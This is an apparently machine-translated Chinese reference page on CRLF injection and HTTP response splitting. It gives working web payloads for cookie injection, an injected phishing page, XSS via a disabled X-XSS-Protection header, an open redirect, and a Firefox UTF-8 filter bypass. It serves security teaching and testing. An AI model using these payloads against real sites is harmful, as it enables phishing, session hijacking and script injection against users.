回车换行符 CRLF 注入是一种 Web 安全漏洞,当攻击者将意外的回车符(CR)(\r)和换行符(LF)(\n)注入到应用程序中时就会出现。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和下一行的开始。在 HTTP 协议中,回车-换行序列始终用于终止一行。 摘要 方法论 会话固定 跨站脚本攻击 开放重定向 过滤绕过 实验环境 参考文献 方法论 HTTP 响应拆分是一种安全漏洞,攻击者通过在响应头中注入回车符(CR)和换行符(LF)(统称为 CRLF),来操纵 HTTP 响应。这些字符在 HTTP 响应中标志着一个头字段的结束和新一行的开始。 CRLF 字符: ( , ASCII 13):将光标移动到行首。 ( , ASCII 10):将光标移动到下一行。
CRLF 注入是一种 Web 安全漏洞,当攻击者将意外的回车符(CR)(\r)和换行符(LF)(\n)注入到应用程序中时就会出现。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和下一行的开始。在 HTTP 协议中,回车-换行序列始终用于终止一行。
HTTP 响应拆分是一种安全漏洞,攻击者通过在响应头中注入回车符(CR)和换行符(LF)(统称为 CRLF),来操纵 HTTP 响应。这些字符在 HTTP 响应中标志着一个头字段的结束和新一行的开始。
CRLF 字符:
CR (\r, ASCII 13):将光标移动到行首。LF (\n, ASCII 10):将光标移动到下一行。通过注入 CRLF 序列,攻击者可以将响应拆分为两部分,从而有效地控制 HTTP 响应的结构。这可能导致多种安全问题,例如:
典型的 HTTP 响应头如下所示:
HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionid=abc123
如果未经清理就将用户输入 value\r\nSet-Cookie: admin=true 嵌入到头字段中:
HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionid=value Set-Cookie: admin=true
现在攻击者已经设置了他们自己的 cookie。
除了需要以极不安全的方式处理用户会话的会话固定之外,利用 CRLF 注入最简单的方法是为页面编写一个新的主体。它可以用来创建钓鱼页面,或者触发任意 JavaScript 代码(XSS)。
请求的页面:
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
HTTP 响应:
Set-Cookie:en Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 <html>You have been Phished</html>
在 XSS 的情况下,CRLF 注入允许注入 X-XSS-Protection 头,并将其值设置为 "0" 来禁用它。然后我们可以添加包含 JavaScript 代码的 HTML 标签。
请求的页面:
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
HTTP 响应:
HTTP/1.1 200 OK Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 22907 Connection: close X-Frame-Options: SAMEORIGIN Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT ETag: "842fe-597b-54415a5c97a80" Vary: Accept-Encoding X-UA-Compatible: IE=edge Server: NetDNA-cache/2.2 Link: https://example.com/[INJECTION STARTS HERE] Content-Length:35 X-XSS-Protection:0 23 <svg onload=alert(document.domain)> 0
注入 Location 头以强制对用户进行重定向。
%0d%0aLocation:%20http://myweb.com
RFC 7230 指出,大多数 HTTP 头字段值仅使用 US-ASCII 字符集的一个子集。
新定义的头字段应将其字段值限制为 US-ASCII 八位字节。
Firefox 遵循该规范,在设置 cookie 时会删除任何超出范围的字符,而不是对其进行编码。
| UTF-8 字符 | 十六进制 | Unicode | 被删除 |
|---|---|---|---|
嘊 |
%E5%98%8A |
\u560a |
%0A (\n) |
嘍 |
%E5%98%8D |
\u560d |
%0D (\r) |
嘾 |
%E5%98%BE |
\u563e |
%3E (>) |
嘼 |
%E5%98%BC |
\u563c |
%3C (<) |
The UTF-8 character 嘊 contains 0a 在其十六进制格式的最后一部分,将被 Firefox 转换为 \n。
使用 UTF-8 字符的示例载荷如下:
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
URL 编码版本:
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。